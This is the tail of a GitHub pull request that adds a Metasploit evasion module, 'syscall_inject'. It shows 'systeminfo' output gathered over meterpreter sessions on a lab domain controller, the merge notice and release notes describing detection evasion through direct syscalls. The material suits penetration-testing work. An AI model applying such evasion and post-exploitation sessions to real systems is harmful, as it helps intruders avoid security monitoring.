                           [104]: KB3097989
                           [105]: KB3101722
                           [106]: KB3108371
                           [107]: KB3108664
                           [108]: KB3109103
                           [109]: KB3109560
                           [110]: KB3110329
                           [111]: KB3115858
                           [112]: KB3122648
                           [113]: KB3124275
                           [114]: KB3126587
                           [115]: KB3127220
                           [116]: KB3138612
                           [117]: KB3138910
                           [118]: KB3139398
                           [119]: KB3139914
                           [120]: KB3150220
                           [121]: KB3155178
                           [122]: KB3156016
                           [123]: KB3159398
                           [124]: KB3161949
                           [125]: KB3185319
                           [126]: KB4019990
                           [127]: KB4040980
                           [128]: KB4474419
                           [129]: KB4490628
                           [130]: KB4532945
                           [131]: KB4536952
                           [132]: KB976902
                           [133]: KB4534310
Network Card(s):           2 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: Local Area Connection
                                 DHCP Enabled:    Yes
                                 DHCP Server:     192.168.159.127
                                 IP address(es)
                                 [01]: 192.168.159.11
                                 [02]: fe80::dde4:fc35:f944:b469
                           [02]: Bluetooth Device (Personal Area Network)
                                 Connection Name: Bluetooth Network Connection
                                 Status:          Media disconnected
[*] Running 'systeminfo' on meterpreter session 3 (192.168.159.96)

Host Name:                 WIN-3MSP8K2LCGC
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Primary Domain Controller
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00429-00523-08135-AA816
Original Install Date:     2/26/2020, 12:09:54 PM
System Boot Time:          9/22/2021, 8:48:56 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2304 Mhz
                           [02]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2304 Mhz
BIOS Version:              VMware, Inc. VMW71.00V.16221537.B64.2005150253, 5/15/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory:     4,094 MB
Available Physical Memory: 2,230 MB
Virtual Memory: Max Size:  4,798 MB
Virtual Memory: Available: 2,903 MB
Virtual Memory: In Use:    1,895 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    msflab.local
Logon Server:              \\WIN-3MSP8K2LCGC
Hotfix(s):                 11 Hotfix(s) Installed.
                           [01]: KB5003538
                           [02]: KB4486153
                           [03]: KB4523204
                           [04]: KB4535680
                           [05]: KB4539571
                           [06]: KB4561600
                           [07]: KB4570332
                           [08]: KB4577586
                           [09]: KB4589208
                           [10]: KB5003711
                           [11]: KB5004947
Network Card(s):           2 NIC(s) Installed.
                           [01]: Microsoft Kernel Debug Network Adapter
                                 Connection Name: Ethernet (Kernel Debugger)
                                 DHCP Enabled:    Yes
                                 DHCP Server:     192.168.159.127
                                 IP address(es)
                                 [01]: 192.168.159.96
                                 [02]: fe80::b4dd:730c:d9b8:57b5
                           [02]: Intel(R) 82574L Gigabit Network Connection
                                 Connection Name: Ethernet0
                                 Status:          Hardware not present
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.
[*] Running 'systeminfo' on meterpreter session 4 (192.168.159.96)

Host Name:                 WIN-3MSP8K2LCGC
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Primary Domain Controller
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00429-00523-08135-AA816
Original Install Date:     2/26/2020, 12:09:54 PM
System Boot Time:          9/22/2021, 8:48:56 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2304 Mhz
                           [02]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2304 Mhz
BIOS Version:              VMware, Inc. VMW71.00V.16221537.B64.2005150253, 5/15/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory:     4,094 MB
Available Physical Memory: 2,264 MB
Virtual Memory: Max Size:  4,798 MB
Virtual Memory: Available: 2,926 MB
Virtual Memory: In Use:    1,872 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    msflab.local
Logon Server:              \\WIN-3MSP8K2LCGC
Hotfix(s):                 11 Hotfix(s) Installed.
                           [01]: KB5003538
                           [02]: KB4486153
                           [03]: KB4523204
                           [04]: KB4535680
                           [05]: KB4539571
                           [06]: KB4561600
                           [07]: KB4570332
                           [08]: KB4577586
                           [09]: KB4589208
                           [10]: KB5003711
                           [11]: KB5004947
Network Card(s):           2 NIC(s) Installed.
                           [01]: Microsoft Kernel Debug Network Adapter
                                 Connection Name: Ethernet (Kernel Debugger)
                                 DHCP Enabled:    Yes
                                 DHCP Server:     192.168.159.127
                                 IP address(es)
                                 [01]: 192.168.159.96
                                 [02]: fe80::b4dd:730c:d9b8:57b5
                           [02]: Intel(R) 82574L Gigabit Network Connection
                                 Connection Name: Ethernet0
                                 Status:          Hardware not present
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.
msf6 evasion(windows/syscall_inject) >






Sorry, something went wrong.

smcintyre-r7 pushed a commit that referenced this issue 14 days ago
Land #15506, Add evasion module syscall_inject
Verified
This commit was signed with the committer’s verified signature.
smcintyre-r7 Spencer McIntyre
GPG key ID: 58101BA0D0D9C987 Learn about vigilant mode.
Loading status checks…
6acdced
Hide details View details smcintyre-r7 merged commit c1868d9 into rapid7:master
14 days ago
23 checks passed


Copy link
Contributor


SMCINTYRE-R7 COMMENTED 14 DAYS AGO


RELEASE NOTES

This adds a new evasion module that uses direct syscalls on 64-bit versions of
Windows to evade detection.



Sorry, something went wrong.


Sign up for free to join this conversation on GitHub. Already have an account?
Sign in to comment
Reviewers

smcintyre-r7

adfoster-r7

Assignees

smcintyre-r7

Labels
feature module rn-modules
Projects
None yet
Milestone
No milestone
Linked issues

Successfully merging this pull request may close these issues.

None yet

3 participants

Add this suggestion to a batch that can be applied as a single commit. This
suggestion is invalid because no changes were made to the code. Suggestions
cannot be applied while the pull request is closed. Suggestions cannot be
applied while viewing a subset of changes. Only one suggestion per line can be
applied in a batch. Add this suggestion to a batch that can be applied as a
single commit. Applying suggestions on deleted lines is not supported. You must
change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied. This suggestion has been applied or
marked resolved. Suggestions cannot be applied from pending reviews. Suggestions
cannot be applied on multi-line comments.

 * © 2021 GitHub, Inc.
 * Terms
 * Privacy
 * Security
 * Status
 * Docs

 * Contact GitHub
 * Pricing
 * API
 * Training
 * Blog
 * About


You can’t perform that action at this time.
You signed in with another tab or window. Reload to refresh your session. You
signed out in another tab or window. Reload to refresh your session.